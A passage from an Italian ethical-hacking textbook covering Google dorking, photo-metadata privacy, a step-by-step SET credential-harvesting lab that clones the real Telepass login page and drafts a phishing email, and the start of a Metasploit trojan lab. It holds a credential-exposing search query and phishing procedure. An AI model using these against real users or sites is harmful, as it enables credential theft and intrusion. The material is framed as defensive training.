Questi sono solo alcuni degli operatori di ricerca che potete utilizzare su Google per trovare informazioni sensibili. Nel corso degli anni, altri hacker hanno creato un database degli hack utilizzati con Google per registrare combinazioni di operatori di ricerca particolarmente utili.

Il Google Hacking Database

Il Google Hacking Database (GHDB) è un elenco pubblico che contiene centinaia di combinazioni di operatori di ricerca di Google che possono essere adoperati per trovare password, tipi di dispositivo specifici connessi a Internet, particolari web app che presentano vulnerabilità e molto altro.

GHDB è un progetto ideato da Johnny Long di Hackers for Charity; il database viene oggi mantenuto da Offensive Security, lo stesso team che supporta Kali Linux e altri strumenti di hacking e sicurezza. Il GHDB si trova all’indirizzo https://www.exploit-db.com/google-hacking-database/ o cercando “Google Hacking Database” in un motore di ricerca. In Kali Linux, il link del database si trova nei preferiti del browser preferito (Firefox).

Vai a GHDB all’indirizzo https://www.exploit-db.com/google-hacking-database/ e digita password nella casella di ricerca, come illustrato nella Figura 4.6. Il database visualizza tutte le query di ricerca (combinazioni di operatori e testo da cercare) contenenti la parola password.
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Figura 4.6: Le query di ricerca sulle password del Google Hacking Database.

Cliccando su una delle voci del GHDB vengono visualizzate informazioni relative alla specifica query di ricerca; puoi anche andare direttamente su Google per provare quella ricerca.

AVVISORicordati di usare assolutamente uno scanner online come VirusTotal per verificare qualsiasi file o sito che trovi prima di accedervi.

Nel gergo degli hacker, le persone che lasciano in giro tracce rilevabili con una delle ricerche avanzate come quelle presenti nel GHDB vengono definite Google dork (dork è un termine slang che indica una persona non molto intelligente) e il processo che utilizza queste ricerche avanzate è noto come dorking. Gli aggressori non usano il dorking solo per trovare fogli di calcolo contenenti nomi utente e password, ma anche PDF di prodotti con password di amministratore predefinite, oppure dispositivi vulnerabili come videocamere di sorveglianza, o addirittura controlli dei termostati degli edifici dotati di interfaccia web, tanto per fare solo qualche esempio. Una query Google dork come intext:username ext:log può esporre i log di un server che potrebbero contenere informazioni utili come database con nome utente e password. Un hacker può risparmiare una considerevole quantità di tempo utilizzando tecniche di ricerca avanzate come queste.

Come devi usare Google come ethical hacker

Se un’azienda assume un ethical hacker per testare la propria sicurezza, questi deve limitare le proprie ricognizioni all’azienda, ai suoi vendor, fornitori, dipendenti, clienti eccetera. Se nel corso della ricognizione dovesse venire a conoscenza di password o altre informazioni sensibili, è tenuto a informare l’azienda in modo che possa chiudere gli account a rischio, cambiare le password o intraprendere altre azioni necessarie. Lo stesso vale anche per te: qualsiasi informazione tu scopra durante gli esercizi condotti in questo libro dev’essere trattata alla stessa maniera.

Supponi di scoprire le password del tuo ufficio, della scuola di tuo/a figlio/a o di un tuo amico o parente. Per prima cosa, non utilizzare mai le password che hai scoperto: si tratterebbe di un comportamento non etico, esattamente come trovare le chiavi di casa di qualcuno e usarle per entrare in casa sua senza permesso. Un ethical hacker è tenuto a segnalare una potenziale vulnerabilità di una password al responsabile IT dell’azienda o della scuola, a segnalare all’amico o al familiare che la sua password potrebbe essere esposta e deve cambiarla immediatamente.

I social media e i pericoli di condividere troppo

Oltre alle ricerche Google, gli hacker hanno a disposizione anche un altro strumento di ricognizione che fa veramente paura: i social media. Potrebbe stupirti e perfino spaventarti scoprire quante informazioni ha Google su di te. Tuttavia, attraverso i social media le informazioni che tu stesso lasci trapelare sono ancora più specifiche e sensibili.

Ecco un breve esercizio che puoi fare condividendolo con amici o familiari: prenditi cinque minuti per portare avanti una missione di ricognizione riguardante te stesso sugli account dei tuoi social media preferiti. Riesci a scoprire dove vivi, che animali hai e come si chiamano, dove lavori o come si chiamano il tuo coniuge e i tuoi figli? Ci sono post sul tuo ultimo compleanno? Dalla data dei post e dall’età (per esempio qualcuno che scrive “Buon 29° compleanno!”) un aggressore potrebbe risalire alla tua data di nascita? Che cos’altro riesci a scoprire in merito ai posti che frequenti regolarmente, come eventi sportivi, e le persone con cui esci?

Postare informazioni sul tuo lavoro, sui tuoi hobby, sui tuoi figli, viaggi, animali domestici o attività non fa che rivelare a potenziali aggressori informazioni sui posti in cui ti trovi e sui tuoi interessi. Un aggressore che cerchi di appropriarsi del tuo account proverà a indovinare o resettare la tua password sfruttando le informazioni personali che trova online, come il nome del tuo animale domestico, il tuo compleanno o il tuo ristorante preferito. Peggio ancora, se posti foto delle tue vacanze mentre sei ancora fuori casa, chiunque possa vedere i tuoi post sa che la tua casa è vuota e pertanto ci può entrare senza grossi rischi.

Anche la semplice condivisione di una foto del tuo gatto o del tuo cane può essere pericolosa, perché il file di immagine stesso può rivelare informazioni sulla tua posizione, come spieghiamo qui di seguito.

Dati di posizione: il pericolo dei social media che nessuno ti dice

Nelle foto che scatti con lo smartphone, il tablet e molte nuove fotocamere digitali sono compresi i dati di posizione. Con dati di posizione si intendono coordinate GPS (Global Positioning System), ossia la latitudine e la longitudine esatte del tuo telefono o di qualsiasi altro dispositivo sulla Terra. A seconda del servizio di social media che utilizzi e delle impostazioni che hai selezionato, rischi di pubblicare le informazioni sulla tua posizione in ogni foto che posti. Una bella foto di un cane o di un gatto scattata a casa con uno smartphone potrebbe contenere l’esatta posizione di dove vivi.

Per visualizzare i dati di posizione e altre informazioni nascoste nelle immagini, useremo Jimpl (https://jimpl.com/). Prova a caricare un file di immagine o a inserire l’URL di un’immagine online per scoprire se contiene dati di posizione o altre informazioni.

1.Scarica il file San_Michele_in_Foro,_Lucca_05.08.2012.jpg all’indirizzo https://commons.wikimedia.org/wiki/File:San_Michele_in_Foro,_Lucca_05.08.2012.jpg, una foto di Wikimedia contenente dati di geotagging.

2.Accedi a https://jimpl.com/, clicca su Scegli file e seleziona l’immagine che hai scaricato.

3.La Figura 4.7 mostra i dati nascosti (chiamati metadati) contenuti nell’immagine.
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Figura 4.7: I metadati di un’immagine mostrano quando, dove, perfino con quale fotocamera è stata scattata una foto.

La foto è stata scattata il 5 agosto 2012, latitudine 43 gradi 50’ 34.30” Nord e longitudine 10 gradi 30’ 9.29” Est, ossia a Lucca, in Piazza San Michele in Foro. La piazza è a un’altitudine di 38 metri sul livello del mare e la foto è stata scattata con una Nikon D90. Tutte queste informazioni, e anche più di queste, sono contenute per impostazione predefinita all’interno di qualsiasi foto scattata con uno smartphone; meglio quindi fare attenzione al quando e come condividi le foto.

Alcune app di social media postano intenzionalmente il luogo in cui ti trovi. Se ti è mai capitato di vedere il post di qualcuno che ha fatto il “check in” in una determinata località, è esattamente quello di cui stiamo parlando. Ma vi sono anche moltissime altre app installate in uno smartphone, da quelle di mappatura a quelle per le e-mail, passando per i motori di ricerca, che tracciano la tua posizione. È sempre meglio verificare le impostazioni di sicurezza e/o privacy di tutte le app che usi con regolarità per verificare se è possibile disattivare alcuni servizi di posizionamento, oppure usarli solo quando occorre davvero.

Proteggersi sui social media

Prestando un pochino più di attenzione a ciò che condividi online puoi proteggerti maggiormente. Ti consigliamo inoltre di informare anche amici, parenti e colleghi; insomma, tutti coloro con i quali è probabile che prima o poi scatti una foto di gruppo che venga poi postata sui social media o che potrebbero dire che erano con te in un determinato momento. Tutti devono comprendere l’importanza di mantenere un minimo di privacy in più nel mondo odierno iperconnesso.

Ecco alcuni consigli pratici per proteggere te e i tuoi cari dai pericoli di un’eccessiva condivisione sui social media.


Pensa prima di condividere.Prima di postare un’immagine o un commento, prenditi un momento di pausa per pensare se hai davvero bisogno di postare subito (o semplicemente di postare). Prima di pubblicare tutte le foto delle tue magnifiche vacanze aspetta almeno di essere rientrato a casa. Ricordati che un post che ti ritrae sbronzo alle 2 del mattino sui social media può essere stampato, ripostato o peggio. Ogni tweet, post e snap diventa parte della tua reputazione online e là resta.

Cambia le impostazioni predefinite.Per impostazione predefinita, molte app di social media condividono troppe informazioni con troppe persone. Apri le impostazioni sulla privacy dell’app o del sito web e disattiva i dati (o i servizi) di posizionamento e altre informazioni sensibili che è meglio non condividere.

Limita il pubblico dei post.Se una foto o un commento rivela troppe informazioni sulle tue attività quotidiane, i tuoi hobby o i posti dove ti piace andare, condividila privatamente solo con gli amici con cui hai piacere di condividere il post.

Sistema i problemi il più rapidamente possibile.Segnala immediatamente eventuali furti di identità (alla polizia e agli istituti di credito), le frodi (alla banca), altri crimini (alla polizia) e qualsiasi episodio di cyberbullismo o molestia (alle autorità locali).



I social media possono essere molto utili per mantenere il contatto con le persone, ma sono anche uno strumento estremamente potente nelle mani di hack black hat white hat per condurre ricognizioni e raccolta di informazioni. Evita di condividere eccessivamente. Verifica le impostazioni di privacy e sicurezza, usa i social media in modo saggio e, se qualcuno usa ciò che condividi per cercare di danneggiarti, denuncialo immediatamente alle autorità preposte.

Cosa ho imparato

In questo capitolo hai imparato a usare alcuni strumenti online gratuiti, come i motori di ricerca e i sistemi di visualizzazione dei metadati, utilizzati dagli hacker per raccogliere informazioni su di te e sui tuoi cari. È possibile utilizzare gli operatori di ricerca avanzati per rilevare nomi utente e password rubati o accidentalmente postati online. I visualizzatori di metadati delle immagini possono rivelare informazioni sensibili nascoste all’interno delle immagini postate online, ivi comprese le coordinate GPS esatte del posto in cui la foto è stata scattata e il tipo di smartphone o fotocamera impiegato.

Hai imparato l’importanza di pensare prima di condividere, di modificare le impostazioni della privacy, di limitare il pubblico dei post e di segnalare il più presto possibile le frodi e altri reati informatici. In qualità di cyberdifensori, dobbiamo trovare il giusto equilibrio fra comodità e sicurezza, al fine di proteggere noi e le persone e le organizzazioni a noi vicine.

Ogni strumento e metodo analizzato in questo capitolo può essere usato dagli ethical hacker per migliorare la sicurezza e insegnare alle persone come proteggersi, ma anche da eventuali aggressori per scovare informazioni utili sulle proprie vittime. Il primo passo per prepararsi consiste nel sapere quali informazioni sono già state diffuse online. Impara a mantenere il controllo delle informazioni che condividi online: sarai già un passo avanti rispetto ai possibili aggressori online.




5

INGEGNERIA SOCIALE E ATTACCHI DI PHISHING
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In questo capitolo utilizzeremo il nostro laboratorio di hacking virtuale per imparare uno dei modi più comuni ed efficaci usati dagli aggressori per accedere ai computer e agli account delle proprie vittime: l’ingegneria sociale.

Con il termine ingegneria sociale si intendono tutte le tecniche adoperate per cercare di indurre le persone a rivelare informazioni sensibili o preziose come password, numeri di carta di credito o dati medici. Secondo le ricerche, circa un 94-98% di tutti gli attacchi informatici inizia con una forma di ingegneria sociale. Spesso nei film si vede che gli hacker compiono operazioni estremamente complicate per penetrare in una rete; nel mondo reale, invece, spesso si limitano a inviare un’e-mail convincendo qualcuno a rivelare il proprio nome utente e password. Questo tipo di ingegneria sociale è noto come phishing.

In questo capitolo imparerai a conoscere i pericoli dell’ingegneria sociale, creando un sito web e inviando un’e-mail di phishing. Saprai quanto è facile per degli aggressori ingannare le persone per indurle a fornire i propri nomi utente e password e imparerai come proteggerti contro gli attacchi di questo genere.

Come funziona l’ingegneria sociale

L’ingegneria sociale sfrutta il desiderio degli esseri umani di comportarsi in modo sociale, aiutare gli altri e far parte di un gruppo, manipolando emozioni umane di base come paura, curiosità o avidità per convincerci a commettere un errore sulla sicurezza o a rivelare informazioni sensibili. La pressione sociale è una forma di ingegneria sociale che può persuadere qualcuno a compiere un’azione che normalmente non farebbe perché la fanno “tutti gli altri” o per il timore di perdersi qualcosa.

Analogamente, gli scanner online utilizzano tecniche di ingegneria sociale per manipolarci e spingerci a prendere decisioni sbagliate senza pensare alle conseguenze.

Nel mondo fisico, truffatori e criminali adottano tecniche di ingegneria sociale per entrare all’interno di edifici ritenuti sicuri travestendosi da fattorini o da operai, oppure “tallonano” qualcuno trasportando una grossa scatola e chiedendo se per piacere gli tengono aperta la porta. Quando riescono a entrare, spiano sopra la spalla di qualcuno che sta inserendo una password.

Nel mondo digitale, gli ingegneri sociali usano e-mail, social media, annunci, siti web, sms, chiamate telefoniche automatizzate e altre tecnologie. I criminali online possono indurre utenti ignari a cliccare su un link ingannevole, ad accedere a un sito web falso, ad accettare una falsa richiesta di amicizia, a inserire i dati della carta di credito, a scaricare ed eseguire malware o a fornire i propri dati personali.

Il tipo di attacco di ingegneria sociale più diffuso è il phishing. In un attacco di phishing, un aggressore cerca di ingannare il malcapitato mandando un’e-mail che lo induce a scaricare un malware o a visitare un sito web dannoso camuffato da pagina di accesso di un servizio online. Se accedi al servizio fasullo, l’aggressore ottiene il tuo nome utente e password.

Per capire quanto sia facile per un aggressore organizzare un attacco di phishing, ne creeremo uno utilizzando la macchina virtuale Kali Linux.

Vedere come viene realizzato può aiutarti a individuare anche le migliori e-mail di phishing prima di cliccarci sopra.

Creare un sito web di phishing

Inizieremo creando un sito web di phishing identico alla pagina di accesso di Telepass. Il sito cattura e memorizza nomi utente e password.

1.Avvia la macchina virtuale Kali Linux e clicca sull’icona di Kali nell’angolo superiore sinistro dello schermo. Apri la cartella 13 - Social Engineering Tools e trova l’applicazione Social Engineering Toolkit (root) (o SET) come illustrato nella Figura 5.1. Il programma consente ai professionisti della sicurezza di sviluppare attacchi di ingegneria sociale avanzati per testare la sicurezza di un’azienda. Questo tipo di hacking etico viene chiamato penetration test (o pentest per brevità), perché consente di verificare se è possibile penetrare le difese di un’azienda o di un altro ente.

AVVISOPer eseguire un pentest i team di sicurezza devono assolutamente disporre del permesso scritto esplicito del titolare dell’azienda. Se non disponi di tale autorizzazione, esegui questo tipo di attacco esclusivamente contro te stesso.
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Figura 5.1: La cartella 13 - Social Engineering Tools e l’applicazione SET.

2.Clicca sull’icona per aprire il Social Engineering Tool. Se ti viene richiesta la password, digita kali. Mentre la digiti, la password non viene visualizzata. Quando viene caricato, SET chiede di accettare i termini d’uso, come illustrato nella Figura 5.2. Digita Y per accettare; è solo a scopi legali.

NOTASia Kali Linux sia il Social Engineering Toolkit vengono aggiornati con frequenza, pertanto alcune delle opzioni di menu potrebbero cambiare. Dovresti comunque essere in grado di trovare le funzionalità qui illustrate. Se selezioni l’opzione sbagliata, puoi sempre digitare 99 per tornare al menu precedente.

3.Viene visualizzato un menu come quello riportato nel Listato 5.1.
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Listato 5.1: Il menu principale di SET.
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Figura 5.2: Per usare SET devi accettare i termini di servizio.

4.Digita 1 per selezionare Social-Engineering Attacks. In tal modo si apre il menu Attacks, illustrato nel Listato 5.2.
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Listato 5.2: Il menu Attacks di SET.

5.Digita 2 nel menu Attacks per selezionare Website Attack Vectors. In tal modo si apre il menu Website Attack Vectors, illustrato nel Listato 5.3.
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Listato 5.3: Il menu Website Attack Vectors di SET.

6.Digita 3 per selezionare Credential Harvester Attack Method. In tal modo si apre il menu Credential Harvester Attack, che presenta poche opzioni, come illustrato nel Listato 5.4.
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Listato 5.4: Il menu Credential Harvester Attack.

7.Per il nostro attacco di phishing, useremo la seconda opzione, Site Cloner, per creare un clone, ossia una copia esatta, di un sito web reale. Questo tipo di phishing è chiamato credential harvesting (letteralmente: raccolta di credenziali) perché il suo scopo è raccogliere le credenziali, ossia il nome utente e la password, di chi ci capita. Digita 2 per selezionare Site Cloner e premi Invio.

Clonare una pagina di accesso

Il Site Cloner di SET consente di creare il clone praticamente di qualsiasi pagina di accesso, scaricando tutto il codice necessario a visualizzare una pagina di accesso esistente, come una piattaforma di social media, una banca o un servizio di e-mail. Come abbiamo visto nel Capitolo 1 con lo strumento Ispezione, il codice è pubblicamente accessibile. Site Cloner crea una copia esatta della pagina utilizzando il codice scaricato. A questo punto resterà solo da indurre un utente a inserire il proprio nome utente e password nella pagina clonata.

Segui questa procedura per clonare la pagina di accesso di Telepass.

1.Per prima cosa, Site Cloner chiede l’indirizzo IP della macchina su cui verranno memorizzati nome utente e password delle vittime. Per impostazione predefinita, il prompt indica l’indirizzo IP della tua VM Kali. Nel caso dell’esempio, tale indirizzo è 10.0.9.4, come indicato al prompt di SET:
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L’indirizzo IP della VM Kali potrebbe essere diverso; in questo caso segnalo da qualche parte, ti servirà dopo. Premi Invio per continuare.

2.SET chiede quindi l’URL del sito che desideri clonare:
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Se vuoi che l’attacco di credential harvesting abbia successo, la pagina di accesso che cloni deve richiedere nome utente e password nella stessa schermata. Molte piattaforme online, ivi compresi molti siti di social media, corrispondono a questi requisiti. Alcune banche e alcuni siti di e-mail, fra i quali anche Gmail e Outlook, chiedono il nome utente in una pagina e la password in un’altra, proprio allo scopo di evitare attacchi di questo tipo.

Cloneremo la pagina di accesso di Telepass. Digita https://www.telepass.com/KTI/login nella finestra di SET:
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3.SET comunica che sta clonando la pagina; potrebbe chiederti di premere nuovamente Invio per continuare. Se ti chiede di confermare qualcosa, premi Y o Invio.

4.Dopo un istante viene visualizzato un messaggio che conferma che l’attacco Credential Harvester Attack di SET è in esecuzione:
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SET è riuscito ad avviare un server web temporaneo sulla tua VM Kali, al quale la vittima può essere indotta ad accedere. Ora è in attesa che una vittima inserisca le proprie informazioni.

Raccogliere credenziali

Proviamo il sito web di phishing per vedere se funziona. Lasciando aperta la finestra del terminale, clicca sull’icona del menu principale e accedi a Preferiti ▶ Browser web. Quando il browser si apre, inserisci localhost nella barra degli indirizzi. Viene visualizzata una replica quasi perfetta della home page di Telepass, come illustrato nella Figura 5.3. Le pagine web possono cambiare con una certa frequenza, esattamente come i browser, il che significa che l’aspetto della pagina potrebbe essere leggermente diverso. L’unica differenza effettiva che dovrebbe far scattare il campanello d’allarme è osservare la barra degli indirizzi.
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Figura 5.3: La home page clonata di Telepass ha un aspetto identico all’originale.

Innanzitutto, l’indirizzo che hai inserito (localhost) è diverso da quello reale (https://www.telepass.com).

In secondo luogo, accanto alla barra degli indirizzi non è presente l’icona a forma di lucchetto, il che significa che la pagina non è sicura.

NOTASe il sito web clonato non ha l’aspetto giusto, significa che potrebbe aver implementato dei controlli di sicurezza per evitare la clonazione: in tal modo gli attacchi di phishing risultano più difficili. Chiudi la finestra del terminale di SET e lancia nuovamente SET. Segui la procedura elencata in precedenza per provare a clonare un sito diverso. Ricorda inoltre che il browser in Kali visualizza le pagine utilizzando per impostazione predefinita il tema Kali-Dark, che presenta un testo chiaro su sfondo scuro. Se vuoi cambiare il tema e sceglierne uno più chiaro, come quello illustrato nella Figura 5.3, seleziona Impostazioni ▶ Aspetto e scegli Kali-Light.

Ora che abbiamo verificato che il sito web clonato è identico a quello reale, vediamo come si possono catturare le informazioni di accesso.

Inserisci un nome utente e una password fasulli e clicca nuovamente su Accedi.

AVVISONon inserire mai il tuo nome utente e password reali in un modulo di phishing, nemmeno se l’hai creato tu stesso. Se qualcun altro dovesse usare la tua macchina virtuale Kali, gli lasceresti le tue credenziali, dal momento che il modulo di phishing di SET memorizza tutto in un formato di testo semplice.

Ho inserito come nome utente GeorgeJetson e come password Jane!!!, come illustrato nella Figura 5.4.
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Figura 5.4: Inserisci delle informazioni false nel sito clonato; non inserire mai il tuo nome utente e password reali in un sito di phishing.

Quando invii le credenziali per l’accesso (ricordiamo di usare solo credenziali false), SET rinvia il browser al sito web reale di Telepass, all’indirizzo https://www.telepass.com. Se osservi la barra degli indirizzi ti rendi conto che questo è in effetti il sito reale. SET porta la vittima alla pagina di accesso reale, in modo da fargli pensare di essersi sbagliato a inserire le informazioni di accesso. Stavolta, quando accede al sito reale non si rende nemmeno conto che un aggressore gli ha sottratto le credenziali.

Apri la finestra del terminale in cui è in esecuzione SET. Se il sito di phishing ha funzionato correttamente, vedrai una schermata piena di informazioni inviate dal Web.

Se necessario scorri verso l’alto: potrai vedere il nome utente e la password che hai inserito.
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Se SET non è in grado di recuperare le informazioni di accesso, compila nuovamente il modulo clonato. Se ancora non riesci a trovare il nome utente e la password che hai inserito, chiudi SET e prova a clonare un altro sito.

Finché SET è in esecuzione, puoi inviare nomi utente e password al modulo accedendo all’indirizzo IP di Kali da qualsiasi browser che accede alla rete della VM.

Ciò significa che puoi avviare la VM Windows, fingere di essere la vittima di un attacco di phishing, navigare all’indirizzo IP della VM (10.0.9.4 o simile) e inserire un nome utente e una password nella pagina fasulla.

Creare un’e-mail di phishing

L’ultimo passaggio di un attacco di phishing consiste nel creare e inviare un’e-mail di phishing con un link all’indirizzo IP del sito fasullo. Ricorda che Site Cloner esegue una versione fasulla della home page della pagina di accesso di Telepass sulla VM Kali e pertanto usa l’indirizzo IP della tua VM Kali. Accedi al tuo account e-mail nella VM Kali o Windows e crea una nuova e-mail. L’e-mail di phishing può essere molto semplice; ecco un possibile esempio:
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Invia a te stesso il messaggio e-mail e aprilo nella VM di Kali o di Windows 10 mentre SET è in esecuzione. Cliccando sul link dovresti essere portato al sito di phishing clonato.

Probabilmente la maggior parte delle persone non cliccherà sul link presente nell’e-mail, il cui aspetto è molto diverso da quello di un messaggio di quelli che potrebbe spedire Telepass. Inoltre, il link è un indirizzo IP, non l’URL di Telepass. Per creare un’e-mail di phishing più credibile, l’ideale è copiare un messaggio originale proveniente da Telepass, nel quale vengano usati il logo e lo stile di Telepass, incollandolo quindi all’interno di un nuovo messaggio. A questo punto basterà cambiare il testo e i link per cercare di convincere le persone a cliccare per raggiungere il sito clonato. La Figura 5.5 è un esempio.
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Figura 5.5: Ho convertito un’e-mail reale proveniente da Telepass in un’e-mail di phishing modificando testo e hyperlink.

Ho fatto in modo che sembrasse che qualcuno ha cercato di hackerare l’account dell’utente per spingerlo a cliccare sul link per verificare le impostazioni di sicurezza. Quindi ho aggiunto un hyperlink che porta l’utente alla pagina di accesso clonata. Nella maggior parte dei programmi di e-mail è possibile inserire un hyperlink evidenziando il testo da trasformare in link, cliccando l’icona con la catena (evidenziata nella Figura 5.5) e inserendo l’indirizzo desiderato. Ora l’indirizzo IP sospetto è nascosto dietro il testo “Impostazioni di sicurezza” e quindi la probabilità che qualcuno vi faccia clic sopra e acceda al sito di phishing è molto maggiore.

A questo punto dovresti aver compreso come funziona un attacco di phishing; ma come fai a difenderti?

Proteggersi contro gli attacchi di phishing

Per proteggerti da e-mail di phishing basta seguire alcuni suggerimenti.

•Passa con il mouse sopra i link all’interno delle e-mail che ricevi senza cliccarci sopra: in tal modo viene visualizzato il link reale e puoi notare se è sospetto (per esempio perché contiene degli errori di battitura, anche piccoli – come “telepas.com”, per esempio – o lunghi indirizzi numerici). Solitamente l’indirizzo reale compare verso la parte bassa dello schermo del browser o del client di e-mail. Puoi anche usare VirusTotal per verificare se all’indirizzo di un link è presente un malware, come abbiamo fatto nel Capitolo 4.

•Verifica i campi Da: e A: dell’e-mail per assicurarti che siano autentici. Cerca nomi di dominio scritti in modo errato o diversi, per esempio gmail.com al posto di lamiabanca.it nell’indirizzo del mittente.

•Se nell’e-mail ti vengono richieste informazioni personali, rifletti attentamente su chi te le sta chiedendo, che cosa ti viene chiesto e perché tali informazioni dovrebbero essere necessarie.

•Se non sei sicuro della provenienza di un’e-mail, non cliccarci sopra e non aprire niente. Chiama la persona o l’azienda (usando un numero di telefono reale, non uno trovato all’interno dell’e-mail) per verificare eventuali transazioni importanti o problemi urgenti.

Se sospetti che un’e-mail sia falsa, apri una finestra separata del browser e visita il sito web reale inserendo l’URL reale o cercando online il nome dell’azienda. Verifica con molta attenzione la barra dell’indirizzo per assicurarti che l’URL sia quello che ti aspetti. Anche in questo caso, inserisci nome utente e password solo ed esclusivamente se il sito è sicuro. Per sapere se un sito è sicuro, l’URL deve iniziare con https:// (non solo http://) e nella barra degli indirizzi compare il simbolo del lucchetto.

Cosa ho imparato

In questo capitolo hai imparato che chi fa ingegneria sociale usa le emozioni umane contro le proprie vittime, per spingerle a compiere la scelta sbagliata, sia di persona sia online. Hai imparato qual è il tipo di attacco di ingegneria sociale più diffuso online: il phishing.

Per capire quanto è facile ed efficiente questa tecnica, hai clonato una pagina di accesso con il Social Engineering Toolkit (SET) di Kali Linux, riuscendo in tal modo a impadronirti delle credenziali di utenti ignari. Hai creato un’e-mail di phishing collegata alla pagina clonata e hai visto in che modo gli aggressori possono creare e-mail ancor più convincenti partendo da un’e-mail reale, modificandone quindi il testo e i link.

Hai imparato a proteggerti dagli attacchi di phishing osservando con attenzione i campi Da: e A: in qualsiasi e-mail ti chieda di cliccare su un link, di aprire un documento o di compiere un’azione straordinaria. Hai anche imparato a controllare i link passandovi sopra il mouse senza cliccare e osservando a che URL puntano. Indirizzi web strani o scritti in maniera errata, indirizzi IP numerici o eccessivamente lunghi, sono tutti indizi di un possibile attacco di phishing. In caso di dubbi, non cliccare alcun link all’interno di un’e-mail, ma apri una finestra del browser separata, digita il nome di dominio del sito web reale su cui hai un account e accedi direttamente.

Nel prossimo capitolo aggiungerai un altro importante strumento al tuo armamentario: il malware. Il malware ti consente di prendere il controllo da remoto di un altro computer per impadronirti di file, registrare sequenze di tasti e persino accedere alla webcam dell’utente.
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HACKING REMOTO CON IL MALWARE
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In questo capitolo vedremo in che modo gli aggressori possono usare il malware su Internet per infettare e controllare ogni genere di dispositivo di calcolo in qualsiasi parte del mondo si trovino. Malware è un’abbreviazione di malicious software, ossia software malevolo o dannoso, e con esso s’intende qualsiasi software progettato per impossessarsi di dati o danneggiarli o per compromettere sistemi informatici o utenti.

Se un aggressore riesce a indurre qualcuno ad aprire un allegato, un video o un programma malevolo, può prendere il controllo del computer, dello smartphone o di qualsiasi altro dispositivo connesso a Internet di proprietà della vittima. Per proteggerti devi imparare quanto è facile per un hacker black hat creare un virus e infettare un computer. Quando un dispositivo è infetto, l’aggressore spesso è in grado di vedere qualsiasi cosa, ivi compresi file, tasti premuti, schermo, perfino le immagini catturate dalla webcam.

In questo capitolo imparerai a creare un virus nella VM Kali, in tutta sicurezza, e a infettare la VM Windows sulla rete virtuale, dopodiché prenderai il controllo della VM Windows dalla workstation Kali e sottrarrai dati, sequenze di tasti premuti, video della webcam e altro, esattamente come potrebbe fare un aggressore. Tutto ciò verrà fatto in maniera responsabile: in tal modo il malware non potrà uscire dall’ambiente virtuale. Nel frattempo, imparerai a proteggerti dal malware normalmente circolante su Internet.

AVVISOQuesto hack va eseguito esclusivamente all’interno dell’ambiente sicuro di una macchina virtuale, mai su Internet e mai su una macchina di cui non hai il controllo. Hackerare il computer di un’altra persona su una rete remota viola numerose leggi e potrebbe farti finire in galera. Lo scopo di questo hack è mostrare quanto sia facile per un aggressore indurre qualcuno a dargli il controllo completo del computer e in che modo ci si può mettere in sicurezza fermando un attacco prima ancora che possa avere inizio.

Per eseguire questo hack useremo uno dei più celebri strumenti messi a disposizione di Kali: Metasploit. Metasploit Framework è un toolkit di penetration testing mantenuto dall’azienda di sicurezza Rapid7. È chiamato framework perché si tratta di una piattaforma software completa per lo sviluppo, il test e l’esecuzione di exploit. Con il termine exploit si intende un attacco ideato per sfruttare una vulnerabilità all’interno di un sistema informatico.

Metasploit è considerato il coltellino svizzero degli hacker perché contiene numerosi utili strumenti. In effetti, in Metasploit sono presenti oltre duemila exploit, per attaccare sistemi Windows, macOS, Linux, Office, i prodotti Adobe, la maggior parte dei browser, iOS, Android e altro.

Realizzare un virus

Inizieremo creando un malware nella VM Kali per assumere il controllo della VM Windows attraverso la rete PublicNAT creata nel Capitolo 3. Nello specifico, creeremo un trojan (cavallo di Troia), ossia un malware che appare innocuo ma può dare a un aggressore il controllo del computer. A volte i trojan vengono chiamati remote access trojans (RAT, un gioco di parole con la parola inglese che significa “ratto”) perché consentono a un aggressore di controllare il computer target attraverso Internet da qualsiasi punto del mondo: non è necessario alcun accesso fisico.

Solitamente i trojan assumono l’aspetto di file che inducono le persone a scaricarli e a eseguirli, come una copia piratata dell’ultima hit o del film di maggior successo dell’anno, oppure un cheat per un videogame molto diffuso.

Come esempio, chiameremo Fortnite_cheat_mode.exe il trojan che creeremo in questo capitolo. Accedi alla VM Kali e inizia a creare un malware! È facilissimo.

1.Nella VM Kali, clicca sull’icona di Kali nell’angolo in alto a sinistra e accedi a 08 - Strumenti di Exploiting ▶ metasploit framework. Se ti viene chiesta la password di sudo, digita kali. Viene avviata la console di Metasploit Framework (msfconsole), con un’ASCII art nella parte superiore, come quella illustrata nella Figura 6.1. La prima volta che avvii Metasploit Framework ci mette più tempo, perché deve ricreare tutti i database; le volte successive, visto che i database sono già stati creati, il tempo di avvio è inferiore.

2.Viene visualizzato il prompt dei comandi msf6 >, abbreviazione di “Metasploit Framework versione 6”. Inserisci ip addr per verificare l’indirizzo IP della VM Kali e assicurarti che sia connessa alla rete PublicNAT:
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Figura 6.1: Le informazioni di avvio della console Metasploit Framework, con il prompt dei comandi msf6 > di Metasploit nella parte inferiore sinistra.

3.Cerca una riga nella sezione eth0: che inizia con inet seguito da un indirizzo IP:
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Se l’indirizzo inizia con 10.0.9 ❶, significa che ti trovi sulla rete PublicNAT creata nel Capitolo 3 e sei pronto a partire. Segna da qualche parte questo indirizzo IP, che dovrai inserire in diversi comandi. Se l’indirizzo IP non è 10.0.9.x, torna al Capitolo 3 e crea la rete PublicNAT o per connettervi correttamente la VM Kali.

4.Inserisci le due righe riportate di seguito, sostituendo la x dell’indirizzo IP con il numero che hai appena scoperto:
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5.Sul desktop dovrebbe comparire un file di nome Fortnite_cheat_ mode.exe, come illustrato nella Figura 6.2.
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Figura 6.2: Lo strumento msfvenom crea un trojan chiamato Fortnite_cheat_ mode.exe e lo salva sul desktop (in basso a sinistra).

NOTASe hai scelto di utilizzare l’interfaccia in italiano di Kali Linux e hai accettato che Kali Linux rinominasse in italiano le cartelle, ricorda che in questa seconda riga devi usare la parola “Scrivania” al posto di “Desktop”. Se non vedi il file, apri thunar (il gestore di file di Kali Linux) e accedi a /home/kali/ Desktop/ per trovarlo.

NOTASe la cartella della scrivania è in italiano (Scrivania) e ti sei dimenticato di sostituire “Desktop” con “Scrivania” nel secondo comando, non ti preoccupare: Metasploit Framework avrà creato una cartella Desktop sotto home/kali e quindi potrai comunque trovare il file in /home/kali/Desktop/.

Hai appena creato il tuo primo trojan: ben fatto! Bastano due righe al prompt dei comandi msf6 >, come hai fatto nel passaggio 4. In realtà, il comando è uno solo, ma è molto lungo e grazie alla barra inversa (\) alla fine della riga è possibile suddividerlo in due.

